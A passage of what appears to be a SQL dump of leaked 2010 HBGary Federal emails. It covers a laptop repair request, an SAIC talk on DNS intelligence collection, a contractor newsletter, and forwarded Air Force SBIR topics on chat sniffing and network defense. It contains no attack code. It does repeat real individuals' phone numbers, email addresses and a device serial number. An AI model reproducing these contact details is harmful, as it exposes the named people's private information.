weeks.\r\n\r\nCan you please coordinate for a RMA number and shipping / pickup from my work address?  \r\n\r\nMake:Toshiba\r\nModel:Satellite A505-S6025\r\nSerial number: 3A043758Q\r\n\r\nFeel free to contact me via email if you have any questions, or via\r\ncell phone if you need to conference me in with Toshiba to complete the\r\ntask. \r\n\r\nBest,Owais Khan,TimeSvr,415-315-9651,www.TimeSvr.com\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',7414,'aaron_hbgary_com/7414.html'),(8912,'2010-07-20','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297006822.M259016P14101Q3767.eml','','cybernexus Technical Tuesday - Advanced Cyber Collection Techniques - Extracting Information from the Domain Name System (DNS) - 10 Aug; 1600 - 1730','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&#8226; The Domain Name System Runs\r\nOn Virtually Every Computer Network Today \r\n&#8226; DNS Holds A Wealth Of Information That Is Often Overlooked When\r\nConducting Cyber Collections\r\n&#8226; Specifically DNS Is A Naming System For Resources Connected To The\r\nInternet\r\no DNS Is Primarily Used To Translate A Domain Name To An IP Address\r\no Bind Is The Most Common DNS Server Software\r\n&#8226; There Are Various DNS Record Types That Provide Unique Information\r\n&#8226; Domain Name Registrars Are Where Individuals Go To Register A Domain\r\nName\r\n&#8226; Historical Domain Registration/Resolution Information Can Be Used To\r\nCorrelate Past Events Or Gain Positive Attribution\r\n&#8226; Private Domain Registrations Can Impede The Collection Of DNS\r\nInformation\r\n&#8226; Command Line Tools Such As Nslookup And DIG Are Used To Extract DNS\r\nInformation\r\n&#8226; Web Based Tools Can Offer Easy Access To DNS Information While\r\nObfuscating Location\r\n&#8226; Zone Transfers Provide Information For An Entire Domain\r\n&#8226; DNS Plays An Important Role In Cyber Collection\r\no DNS Aides Enumeration of A Domain And Identifying Other Areas Of Research\r\n\r\n\r\nPresented by: Timothy Cague, President of The Cyan Group LLC\r\n\r\nTimothy Cague, President of The Cyan Group LLC specializes in Open Source Cyber\r\nCollection for the Intelligence Community, DoD, and Law Enforcement.\r\nHe has a Masters in Business Administration from the University of Maryland\r\nUniversity College and a Bachelors of Science in Computer Engineering from the\r\nRochester Institute of Technology.\r\n\r\nAfter graduating from RIT in 2000 Tim spent four years as a Communications\r\nOfficer in the U.S. Air Force. First stationed at Langley Air Force Base he led\r\nthe Network and Satellite Communications Elements for the Air Combat Command\r\nCommunications Group. He then moved on to Scott Air Force Base where he served\r\nas Team chief for a Scope Network Assessment Team deploying worldwide to assess\r\nand secure Air Force Network Architectures.\r\n\r\nAfter separating from the Air Force in 2004, Tim spent 5 years at ManTech\r\nbuilding and leading their Reconnaissance Operations Cell in charge of open\r\nsource collection. As the Technical Manager for multiple contracts under this\r\nunit Tim and his team supported numerous government missions.\r\n\r\nAs president of The Cyan Group Tim now provides Cyber Open Source Collection\r\nprofessionals for collection, analysis, and training support to government\r\nentities. \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSAIC will host the Technical Tuesday at our facility at 7035\r\nAlbert Einstein, Columbia, MD 21046.\r\nPlease note: This is a different location from other recent Technical Tuesday\r\nevents. It is still in Columbia Gateway, but in a different building from\r\nrecent events.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nScott\r\n\r\n&nbsp;\r\n\r\nScott W. Sheldon, PMP | SAIC\r\n\r\nVice President, Senior Account\r\nExecutive | Intelligence, Security and Technology Group\r\n\r\nmobile: 410.382.0179 | email:\r\nscott.w.sheldon@saic.com \r\n\r\n&nbsp;\r\n\r\nScience Applications International\r\nCorporation\r\n\r\n6841 Benjamin Franklin Drive\r\n\r\nColumbia,\r\n MD 21046\r\n\r\nwww.saic.com\r\n\r\n&nbsp;\r\n\r\nEnergy&nbsp; |&nbsp;\r\nEnvironment&nbsp; |&nbsp; National Security&nbsp; |&nbsp; Health&nbsp; |&nbsp;\r\nCritical Infrastructure\r\n\r\n&nbsp;\r\n\r\nPlease\r\nconsider the environment before printing this email.\r\n\r\n&nbsp;\r\n\r\nThis e-mail and\r\nany attachments to it are intended\r\nonly for the identified recipients. It may contain proprietary or otherwise\r\nlegally protected information of SAIC. Any unauthorized use or disclosure of\r\nthis communication is strictly prohibited. If you have received this\r\ncommunication in error, please notify the sender and delete or otherwise\r\ndestroy the e-mail and all attachments\r\nimmediately.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11161,'aaron_hbgary_com/11161.html'),(8913,'2010-07-20','\"ExecutiveBiz\" <sender@executivebiz.com>','/aaron@hbgary.com/new/1297006822.M648518P14101Q3768.eml','aaron@hbgary.com','Larry Prior Leaves ManTech; Joins BAE Systems','View in Browser\r\n Sign\r\n Up&nbsp;| Forward | Visit Our\r\n Blog | Jobs\r\n  | About\r\n Us GovconWire | ExecutiveGov | The New New Internet  |\r\n  GovCon Executive&nbsp;\r\n |\r\n  GovConExec\r\n MagazineBy Jim\r\n GarrettsonJuly 20,\r\n 2010The\r\n GovCon Ripple Effect\r\n In the government contracting community, one\r\n executive move can have a chain-reaction effect. While every year sees executive\r\n moves throughout the govcon community, this past year has demonstrated just how\r\n each move influences other executives. Today, Larry Prior joined BAE Systems\r\n following his resignation from ManTech.\r\n Click Here to Read\r\n MoreSHARE THIS\r\n EMAIL:FacebookTwitterLinkedInDiggMySpaceCACI\'s\r\n Paul Cofoni: \'Cyber could suddenly become the most\r\n visible\'Roger Anderson of Applied Signal Technology: Current security\r\n appliances not much defense against nation-state\r\n hackersGoogle\'s Mike Bradshaw Testifies on the Cloud\r\n (VIDEO)TSA\r\n Administrator John S. Pistole Outlines Goal&nbsp;&nbsp;SAIC Wins\r\n Quater-Billion Dollar Deal from DLA, Lockheed Picks Up Two DoD DealsCSC to Work on\r\n Large NGA ContractHarris Picks Up\r\n Lucrative FAA DealITT to Support\r\n NASA Facility in Virginia with $117 Million DealSRA Subsidiary\r\n Era to Boost Security in Sochi Ahead of 2014 OlympicsCACI\'s Gil\r\n Guarino Joins Board at Wolf TrapRaytheon Names\r\n Mark Esper VP, Government RelationsID\'s Harry\r\n Martin on New DoD Sales Lead Dave FarlingStan Sloane on\r\n SRA\'s Acquisition of SentechCGI Extends\r\n Stanley Tender; Awaiting ClearancesClick Here for\r\n More GovConwireCyber Camps\r\n Trains Students for Roles in Cyber WorkforceIndian Army\r\n Preps for Cyber WarInternational\r\n Agreement on Cyber Moves ForwardCommerce and\r\n NIST Announce Deployment of Cyber InitiativeVatican Gets\r\n Google-BombedPolitical\r\n Website Hack Results in ArrestsAir Force\r\n Expands Hiring Authority for Cyber JobsCyber\r\n Attribution Issues Explored During Committee HearingClick Here for\r\n More from The New New Internet University of\r\n Maryland Trains Next Generation of Cyber WarriorsDeloitte, Cisco\r\n Snag Awards for Cyber Innovation, CreativityNIST Hosts\r\n Cybersecurity Education WorkshopFCC to Funnel\r\n Funds into Broadband Health ITAST\'s Roger\r\n Anderson on Addressing Federal Cyber ChallangesClick Here for\r\n More from GovCon Executive\r\n David Gompert:\r\n \'Commitment to keeping America safe will remain steadfast, whether they are\r\n reflected in the day\'s news or not\'Sebelius,\r\n Holder Kick off Healthcare Fraud Preventation SummitGates Arrives\r\n in South Korea to Plan Alliance ObjectivesTSA\r\n Administrator John S. Pistole Outlines GoalDoD to Award\r\n $227 Million in Research Grants to Academic InstitutionsCommerce, NIST\r\n Complete Effort to Boost CybersecurityCyber Attack\r\n Attribution Important to Cybersecurity, Says CommitteeCommerce\r\n Secretary Gary Locke: Cybersecurity ultimately is built on confidenceClick Here for\r\n More from ExecutiveGov&nbsp;&nbsp;SHARE THIS EMAIL:FacebookTwitterLinkedInDiggMySpaceAEC\r\n &#8211; Geo e-procurement portalIn the fast-paced AEC-Geo\r\n world, we understand that you need fast and flexible purchasing of your technology\r\n solutions.&nbsp; That\'s why we created a new e-procurement portal from DLT\r\n Solutions: www.dlt.com/aec-geo-proc&nbsp;From\r\n mapping and CAD, to imagery and globes, all can be purchased at a press of a\r\n button for all your government projects. The portal features special\r\n pricing around Autodesk\'s Master Government Reseller software solutions including\r\n AutoCAD, Map 3D, Civil 3D plus many more. Google Earth and GeoEye Imagery\r\n solutions are available too.Prefer to speak to a representative\r\n directly? DLT has a team of experienced representatives to help. With over 19\r\n years of working closely with federal, state and local governments, we can help\r\n you make the best purchasing decisions.&nbsp;For Autodesk products,\r\n call 888.447.2223 or send a message to ag@dlt.com&nbsp;For Geospatial\r\n products, call 877.385.3581 or send a message to gds@dlt.com.\r\n CACI\'s\r\n Paul Cofoni: \'Cyber could suddenly become the most \r\nvisible\'CACI\r\n International Chief Executive Officer Paul Cofoni is pleased with the Obama\r\n administration\'s recent push to highlight the importance of cybersecurity and\r\n boost public awareness. However, in a recent interview with GovInfoSecurity.com,\r\n the cyber expert expressed his concerns that the \"pace of activity is not what it\r\n needs to be,\" for cyber defense.Click Here to Read\r\n MoreRoger\r\n Anderson of Applied Signal Technology: Current security \r\nappliances not much defense against nation-state\r\n hackersRoger Anderson has been involved in\r\n intelligence-related activities his entire career. In the 1980s, he worked on\r\n Department of Defense TIARA programs while at the Georgia Tech Research Institute.\r\n He then joined the CIA and spent 15 years there, working on all of the NFIP\r\n programs with the primary focus on SIGINT and technical collection missions. As a\r\n SIGINT-focused officer, Anderson worked with the NSA and completed three tours\r\n there. He took early retirement in 2002 and has since been a contractor. His\r\n contractor roles have included executive vice president for Mnemonics, Inc., and\r\n senior executive account manager for Harris Corporation\'s largest IC account. A\r\n former coworker at Harris who had previously joined AST asked if Anderson would be\r\n interested in building a new AST business unit focused on cyber. \"The opportunity\r\n appeared interesting, so I joined them,\" Anderson said. Click Here to Read\r\n More&nbsp;\r\n \r\n Google\'s Mike Bradshaw Testifies on the Cloud\r\n (VIDEO)Google\'s Mike Bradshaw said Federal IT is at a\r\n \"crossroads.\"Bradshaw testified before the House Oversight Committee\r\n earlier in the month about the cloud. Click Here to Watch the\r\n VideoTSA\r\n Administrator John S. Pistole Outlines\r\n GoalAs the new administrator for\r\n the Transportation Security Administration,&nbsp; John S.\r\n Pistole last week began his tenure with the agency by announcing his top goals\r\n and priorities, including improving counterterrorism efforts, supporting the TSA\r\n workforce and boosting. Click Here to Read\r\n MoreA Letter from the EditorThrough our weekly emagazine and daily blog,\r\nExecutiveBiz offers our readership an insider\'s view of news and trends\r\nshaping small, medium, and large companies within industries such as\r\ndefense, technology, and health care.&nbsp; In addition to our daily blog,\r\nwe\'ve launched four new media properties, GovConWire,\r\n GovConExecutive,\r\n ExecutiveGov,\r\n and TheNewNewInternet.\r\nEach\r\n week, we deliver in-depth profiles of industry leaders, candid\r\nQ&As, plus the latest news and trends, and value-add information to\r\nhelp you do your job better.&nbsp; You\'re a big part of the equation both\r\nonline and off &#8212; which is why we want to hear from you. Have a story\r\n\r\ntip? Or an idea for a speaking event? Feel free to contact me direct.\r\nYou can also follow us on Twitter, Facebook,\r\n and LinkedIn.J.D. KathuriaEditor-in-chief\r\n ExecutiveBizo: 703-226-7010&nbsp; &nbsp;jd@executivebiz.com&nbsp;&nbsp; ExecutiveBiz, 8230 Old Courthouse RoadVienna, VA\r\n 22181Update PreferencesList\r\n Unsubscribe\r\n',15412,'aaron_hbgary_com/15412.html'),(8914,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006822.M883568P14101Q3769.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','SBIRs are up','http://www.acq.osd.mil/osbp/sbir/solicitations/index.htmI&#39;m going through them now.  -- Ted H. Vera\r\nPresident | COOHBGary Federal719-237-8623\r\n\r\n',4735,'aaron_hbgary_com/4735.html'),(8915,'2010-07-20','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006823.M110280P14101Q3770.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Cybersecurity','Absolutely, tools need to make you smarter.  It\'s like the consulting\r\nbusinesses.  If everyone needed a consultant to deal with a major malware\r\ncrisis, there would NEVER be enough people, therefore it\'s imperiative there\r\nare tools that automat the process.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, July 20, 2010 9:06 AM\r\nTo: Karen Burke; Greg Hoglund; Penny Leavy\r\nSubject: Cybersecurity\r\n\r\nSomething to be aware of as you read different cyber stories like the\r\none yesterday talking about the manpower shortage of cyberwarriors.\r\nThis is false.  The typical solution for peole that don\'t know how to\r\nsolve a problem is to throw more people at it.  Without a reduction in\r\nbeauracracy and proper implementation of technology and operation\r\nprocesses there will never be enough people.  There are enough people\r\ntoday they just need to be utilized effectively.\r\n\r\nThis opinion is not widely accepted but it\'s right.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n',11548,'aaron_hbgary_com/11548.html'),(8916,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006823.M393306P14101Q3771.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','SBIR/STTR','I just finished reviewing the STTR/SBIR Solicitations that were released today, below is a summary.  I need to dig into the AF SBIR items listed below.\r\n2010.B STTR Solicitations:Air Force:I didn&#39;t see anything interesting.\r\nNavy:I didn&#39;t see anything interesting.MDA:I didn&#39;t see anything interesting.OSD:I didn&#39;t see anything interesting.\r\n2010.3 SBIR Solicitations:Army:I didn&#39;t see anything interesting.Navy:\r\nI didn&#39;t see anything interesting.Air Force:  AF103-051                           Enhance Situational Awareness by capturing knowledge from chat\r\nAF103-058                           Computer Network Defense (CND) for Future Satellite Operations Center (S\r\nAF103-060                           Secure Web-Based Content Distribution System (CDS)AF103-062                           Network Defense for Mission Assurance Based on Priority\r\nDARPA:\r\nI didn&#39;t see anything of interest\r\nDLA:I didn&#39;t see anything interesting.\r\n\r\nDTRA:I didn&#39;t see anything interesting.MDA:I didn&#39;t see anything interesting.OSD-DDRE:I didn&#39;t see anything interesting.\r\nOSD-DHP:I didn&#39;t see anything interesting.-- Ted H. VeraPresident | COOHBGary Federal\r\n719-237-8623\r\n\r\n',4430,'aaron_hbgary_com/4430.html'),(8917,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006823.M607048P14101Q3772.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','AF103-051 TITLE: Enhance Situational Awareness by Capturing knowledge 	from Chat','\r\nAF103-051                           TITLE: Enhance Situational Awareness by Capturing knowledge from Chat\r\n \r\nTECHNOLOGY AREAS: Information Systems\r\n \r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n \r\nOBJECTIVE: To develop knowledge that can be provided to the right people by capturing the right information from multiple chat rooms and sessions and automating how that information is saved and delivered.\r\n \r\nDESCRIPTION: Use chat to provide sniffer capability to chat tools, like Moo/Mu Internet Relay Chat (MIRC) and geek, and facilitate reporting. The sniffer device would capture relevant information to the particular user/ position in transparent approach; capturing at minimum- Source Internet Protocol (IP), Source port, message type, Requester ID and Keyword Profile ID; Destination IP, Destination Port, Date time stamp and classification level (XMPP) to allow validation of the source and information captured. The returned capture information should also highlight keywords in message in distinctive manner like BOLD, to identify keywords that triggered the capture of traffic. To facilitate reporting, feed more formal reporting software, such as Joint Automated Deep Operations Coordination System (JADOCS) through collection of relevant information, format it as needed, then present it to the user for editing and submitting. Not only would this replace the copy-paste activities that users currently perform, it would help prevent underreporting that is likely to occur during periods of intense activity. In addition, this activity would help insure that proper workflow is completed for any operational cycle currently in process. An example would be finding information in chat log transcript that could be ported for use with Moving Target Indicator (MTI) forensic analysis.\r\n \r\nThe chat extraction system would have profiles based on the users’ certificate and job performance description as described in current DOD chat Techniques, Tactics and Procedures (TTPs) matrix and set up by the user. Based on that composed profile, the chat extraction system would know what information is relevant to a user and automatically detect relevant information to a user that the user has not even detected. Exploring real -time chat and also chat transcripts through filters that automatically provide chat snippets to people who need them. These same documents could also provide information to boost the performance of various levels of information extraction.\r\n \r\nThe tools that are developed must consider that chat users are not text extraction experts or even aware of information extraction. The tools developed must be simple to use, and train for particular job requirements. The tool must also allow the user to modify search criteria if the system returns or saves incorrect information or performs incorrect workflow. The system will provide captured information to registered users based on developed profile(s) and search criteria. The system must contain Simple Mail Transfer Protocol (SMTP) server in order to send email messages to registered users.\r\n \r\nThe chat extraction tools should allow users to register their information interests in addition to current job requirements. The profiles developed should be used to help other chat users based on their roles and information needs as well as alert chat user to new job activity (like temporary Search and Rescue assignment) or important communication from another user. This would be particularly valuable for users that are coming into a new role, or even staying in a particular role but moving to a different Air Operations Center (AOC).\r\n \r\nPHASE I: Conduct research and analysis of best technique(s) to extraction relevant information from chat operations. Phase I results should also include workflow reviews and determination of best manner to develop and incorporate user and job performance profiles.\r\n \r\nPHASE II: Perform in-depth research and develop techniques for incorporating automated chat capabilities in non intrusive, transparent manner.  Identify chat data for specific personnel positions to enable user to better understand their job requirements.  Overtime, the tool develops list of known requirements for mission involvement.  By understanding job, system identifies information the user did not know about\r\n \r\nPHASE III DUAL USE COMMERCIALIZATION:\r\nMilitary Application: Develop as an appliance with ports(IPv4 &amp; IPv6) to operate as transparent sniffer to capture all instant message traffic from various sources and send captured information to users based on profile.\r\nCommercial Application: Tool that analyze Chat log transcripts used as part of debriefing suite in training situational environment. Chat buddy as assistance in commercial chat rooms or social network areas like facebook.\r\n \r\nREFERENCES:\r\n1. DOD MTTP for CHAT USEAGE.\r\n \r\n2. “Team Decision Making in Time-Sensitive Environments”; presented at 10th INTERNATIONAL COMMAND AND CONTROL RESEARCH AND TECHNOLOGY SYMPOSIUM: THE FUTURE OF C2.\r\n \r\n3. Taming Multiple Chat Room Collaboration:Real-Time Visual Cues to Social Networks and Emerging Threads by Lindsley G. Boiney and Bradley Goodman of Mitre Corporation.\r\n \r\nKEYWORDS: Chat, Information Extraction, knowledge formation, facilitate reporting, TTP, AOC, CAOC-N, semi-supervised learning; IPv4, IPv6; sniffer; MIRC\r\n \r\nTPOC:                    James Nagy\r\nPhone:                   (315) 330-3173\r\nFax:                        (315) 330-2941\r\nEmail:                    James.Nagy@rl.af.mil\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',16755,'aaron_hbgary_com/16755.html'),(8918,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006823.M833333P14101Q3773.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','AF103-058 TITLE: Computer Network Defense (CND) for Future Satellite 	Operations Center (SOC)','\r\nAF103-058                           TITLE: Computer Network Defense (CND) for Future Satellite Operations Center (SOC)\r\n \r\nTECHNOLOGY AREAS: Information Systems, Space Platforms\r\n \r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n \r\nOBJECTIVE: Develop methods and tools to enable identification and mitigation approaches of cyber\r\nattacks on Satellite Operations Centers(SOCs) for mission assurance.\r\n \r\nDESCRIPTION: Cyber Warfare has become a significant threat to DOD space operations due to increased connectivity and integration with other DOD networks and information infrastructure. While Computer Network Defense (CND) requirements are not unique to DOD satellite operations, the methods used to attack space ground systems can have unique consequences to satellite operations. These effects could include the total loss, hostile takeover, or denial of service affecting one or more space assets. Loss of space capabilities greatly impacts military operations, time to reconstitute could take years, and cost billions to replace.  As space operations ground centers become more interconnected and also interface to larger classified and unclassified networks, the potential of attack on space operations increases. Therefore, there is a growing need to actively protect DOD satellite operations from Cyber Attacks in real-time to prevent disruption of operations, or worse yet, detrimental affect space assets and mission capabilities. This research seeks novel approaches that enable SOC operators to identify and characterize a cyber attack via wired or wireless RF links, determine the impact to the affected satellite, constellation, or across different constellations, and recommend courses of action to mitigate or eliminate the compromising event.  As part of the solution, the capability must work in an environment likely connected to multiple networks with classic DOD 8500 controls (e.g. firewalls, guards, and privileged user access controls) that insufficiently protect real-time satellite operations from sophisticated cyber attacks.  In addition, future SOCs systems will implement serviced-based[2] designs with open standards (e.g.[3]) and communication middleware technologies that enable: use of common services across multiple SOC missions, fusion of mission data across SOCs for situational awareness, and sharing of ground resources (e.g. antennas, signal processing and cryptologic hardware). This distributed approach poses unique challenges in providing information assurance mechanisms that protect authorization, confidentiality, integrity, and availability of SOC systems. Proposed solutions can focus on any or all combinations of detection, impact analysis, and correct action solutions.  Novel mitigation solutions should be affordable, relatively easy to implement, and address various categories of vulnerabilities.   Each cyber attack scenario should not only quantify impacts to authorization, confidentiality, integrity, and availability, but also quantify direct mission impacts and second order effects. Based on this thorough research into space operation specific cyber attack scenarios, novel approaches, concepts and prototypes would be developed for defending operation centers against these attacks. Computer Network Defense techniques developed and demonstrated should include both passive and active methods for countering cyber attacks, assessing mission impact, and proposing corrective actions appropriate for mission success.\r\n \r\nPHASE I: Define various Cyber Attack Scenarios that would be the most harmful to Satellite Operation Centers and space operations. Propose methods to identify the attack, counter the threats defined by the scenarios, and determine mission impacts.\r\n \r\nPHASE II: Develop and demonstrate proof of concepts for identifying and defending against the emerging and diverse Cyber Threats that could adversely affect networked DOD SOCs.  Develop ability to determine mission impact and recommend corrective actions using a variety of different scenarios.\r\n \r\nPHASE III DUAL USE COMMERCIALIZATION:\r\nMilitary Application:  Computer Network Defense for DOD Satellite Control Centers.\r\nCommercial Application: Commercial Satellite Operations would benefit from using this technology to safe guard commercial space assets from Cyber Attack. In a broader sense, apply to any service-based application.\r\n \r\nREFERENCES:\r\n1. DOD 8500-2, www.dtic.mil/whs/directives/corres/pdf/850002p.pdf\r\n \r\n2. Defense Information Systems Agency (DISA). &quot;Net-Centric Enterprise Services (NCES) Techguide.&quot; http://metadata.dod.mil/mdr/ns/ces/techguide/main_page.html\r\n \r\n3. Information on NASA’s Consultative Committee for Space Data Systems (CCSDS) may be found at: http://www.ccsds.org/index.html.\r\n \r\nKEYWORDS: Cyber Attack, Computer Network Defense (CND), Space Operation, Satellite Operations Center (SOC), Information Assurance (IA), Information System Security\r\n \r\nTPOC:                    Chris Booth\r\nPhone:                   (315) 330-3625\r\nFax:                       \r\nEmail:                    christopher.booth@rl.af.mil\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',5951,'aaron_hbgary_com/5951.html'),(8919,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006824.M439500P14101Q3775.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','AF103-062 TITLE: Network Defense for Mission Assurance Based on 	Priority','\r\nAF103-062                           TITLE: Network Defense for Mission Assurance Based on Priority\r\n \r\nTECHNOLOGY AREAS: Information Systems\r\n \r\nThe technology within this topic is restricted under the International Traffic in Arms Regulation (ITAR), which controls the export and import of defense-related material and services. Offerors must disclose any proposed use of foreign nationals, their country of origin, and what tasks each would accomplish in the statement of work in accordance with section 3.5.b.(7) of the solicitation.\r\n \r\nOBJECTIVE: Develop techniques and technologies for ranking and prioritizing network components based on the criticality in support of mission assurance.\r\n \r\nDESCRIPTION: Today’s approach to network defense and information assurance is focused at the information level and treats all network components as being of equal value. Despite this approach of protecting everything equally, significant breaches and intrusions continue. Maximized defense of all network assets is impractical, prohibitively expensive, may constrain the mission, and often results in a lowest common denominator solution. One approach to remedy the situation is to focus resources on providing the best defense possible for those systems that will assure mission success, while other systems would receive nominal protection. This approach represents a paradigm shift, from a focus on Information Assurance (IA) to Mission Assurance (MA). The mission of the Air Force (AF) is to “Fly, fight and win...in air, space and cyberspace”. One might assume the solution as easy as protecting warfighters in key positions such as flight line maintenance and operations. But what about non-conspicuous activities not directly involved with “putting bombs on target?” If the payment service was compromised, how would the AF continue to procure fuel and other supplies? Without the personnel assignment system operating, how would the AF ensure the right people are at the right place at the right time? Most current methods for prioritizing missions are based on traditional scheduling algorithms (i.e. task based), Cost-Based Scheduling (i.e. resource-based), Temporal Calculus (i.e. event-based), Genetic Algorithms, and Simulated Annealing. These methods work very well in a highly structured environment with well-established command hierarchies. However, the combination of a net-centric environment and the cyber domain render all current methods ineffective. A major deficiency with current methods is once a mission has been assigned a priority, it cannot be changed without starting the process from the beginning. Various approaches to priority analysis should be considered, including but not limited to modeling (e.g. automated decision theory tools), data derivation and aggregation (e.g. human analysis), or mixed-initiative (e.g. the synthesis of the best aspects of humans and machines). Additionally, a distributed prioritization system would also have much higher transaction rates than current single actor, sequential models. Methods need to be developed to not only scale to simultaneous distributed prioritization, but also account for network latency (and possible failures).\r\n \r\nThe technologies must be robust enough to demonstrate the ability to prioritize collaboratively while: 1) identifying potential conflicts, constraints, and/or boundaries within a mission’s components, difficult both because of the exponential nature of constraint interaction and the need to predict where the interactions might occur; 2) developing links between and among missions and actions, complex due to the critical balance between component sequencing – a challenging scheduling task – and the achievement of key objectives with limited resources; 3) allowing multiple agents (human and/or machine) to work on portions of the priority (i.e., mission fragments) simultaneously, a highly complex coordination task that is poorly understood in mixed-initiative environments; and 4) supporting simultaneous prioritization, a nearly intractable problem in the face of highly uncertain and dynamic operating environments.\r\n \r\nPHASE I: 1) Design and develop techniques and technologies for ranking and prioritizing network components in a representative scenario based on the criticality in support of mission assurance, 2) Conduct a complete comparative analysis, and 3) Proof-of-feasibility demonstration of key enabling concepts.\r\n \r\nPHASE II: 1) Develop and demonstrate a prototype that implements the Phase I methodology, 2) Identify appropriate performance metrics for evaluation, 3) Generate a cost estimate and implementation guidance for both a modest pilot project and fielding at the Air Force level or at a regional Network Operations and Security Center, and 4) Detail the plan for the Phase III effort.\r\n \r\nPHASE III -- DUAL USE:\r\nMILITARY APPLICATION:  Computer and network defenses for the GIG and all other IT systems. DoD components and Department of Homeland Security can benefit from this research.\r\nCOMMERCIAL APPLICATION:  The growing importance of computers and networks to the nation&#39;s economic well-being and national security is dependent on a cyber defense strategy with the greatest opportunity for mission assurance.\r\n \r\nREFERENCES:\r\n1. Importance of mission assurance to the Air Force mission: http://www.afceanova.org/events/monthly-luncheons/bios-presentations/Schissler.ppt\r\n \r\n2. “Global Operations and Mission Assurance in a Contested Cyber Environment”, 2008 GTISC Security Summit. Lt Gen Bob Elder. 15 October 2008, smartech.gatech.edu/bitstream/1853/26300/2/presentation.pdf\r\n \r\n3. “Mission, System, Information, Cyber Assurance”, Daryl R. Hild, Associate Department Heat, MITRE, Ground Systems Architectures Workshop, March 1-4, 2010.\r\n \r\n4. “Mission Assurance—A Key Part of Space Vehicle Launch Mission Success”, Maj Gen Ellen M. Pawlikowski, USAF; http://www.nro.gov/articles/2_Pawlikowski.pdf\r\n \r\nKEYWORDS: Mission prioritization, mission assurance, network defense, information assurance, resource, allocation, prioritization, priority, dependency, mission, assurance, Global Information Grid.\r\n \r\nTPOC:                    Joseph Carozzoni\r\nPhone:                   (315) 330-7796\r\nFax:                        (315) 330-8059\r\nEmail:                    joe.carozzoni@rl.af.mil\r\n \r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',1962,'aaron_hbgary_com/1962.html'),(8920,'2010-07-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006824.M66397P14101Q3774.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','AF103-060 TITLE: Secure Web-Based Content Distribution System (CDS)','\r\nAF103-060                           TITLE: Secure Web-Based Content Distribution System (CDS)\r\n \r\nTECHNOLOGY AREAS: Information Systems\r\n \r\nOBJECTIVE: Develop Service Oriented Architecture (SOA) Content Distribution System (CDS) services that are deployable on forward operating C2 node infrastructures that ride on the Global Information Grid (GIG).\r\n \r\nDESCRIPTION: Iraq and Afghanistan have demonstrated increasingly distributed operations and the need to integrate across the air, space and cyber domains. As the Air Force continues to migrate to the concept of distributed operations involving the forward deployment of smaller, more agile forces that have reach back capabilities to Continental United States (CONUS) based Operations Support Facilities (OSFs), Command and Control (C2) nodes such as Air and Space Operation Centers (AOCs) will have increased susceptibility to Disconnected, Intermittent, and Limited (DIL) communications.  AOC command centers used to manage air combat operations will become smaller and rely upon centralized capabilities of geographically separated OSF systems.  Back-end enterprise systems and the networks connecting distributed nodes may suffer overload from too many client requests for information.\r\n \r\nThe commercial industry has partially addressed this problem using Content Delivery/Distribution Networks (CDNs). A CDN is a system where redundant copies of data are placed at various computer nodes in the network so as to maximize accessibility to the data for clients on the network – clients access copies of data that are nearest to them as opposed to accessing data from a centralized server, thus serving to avoid bottlenecks near that server.\r\n \r\nA problem with commercial CDNs is that they are typically built from proprietary content distribution solutions that are only available as “services” on the open internet – they are not available on the secure, segregated networks used by the DoD, and do not meet the verifiable trusted source access mechanisms and Quality of Service (QoS) needs that are unique to military C2 planning and execution.\r\n \r\nNeeded is a Content Distribution System (CDS) that is deployable on forward operating C2 node infrastructures that ride on the Global Information Grid (GIG). The GIG is defined as a globally interconnected, end-to-end set of information capabilities for collecting, processing, storing, disseminating, and managing information on demand.  The CDS will enable applications on a C2 Nodes to distribute content to each other as basic “web-based” information. This data will come in many forms such as imagery, text, web pages (HTML), Extensible Markup Language (XML) documents, Microsoft Office documents, etc. The CDS will appear as the originating web server on the local C2 Node in that Uniform Resource Locators (URLs) will remain consistent with the source, like a standard web caching system. The CDS will be able to subscribe to or periodically poll existing application servers or RESTful services for content or changes to content that need 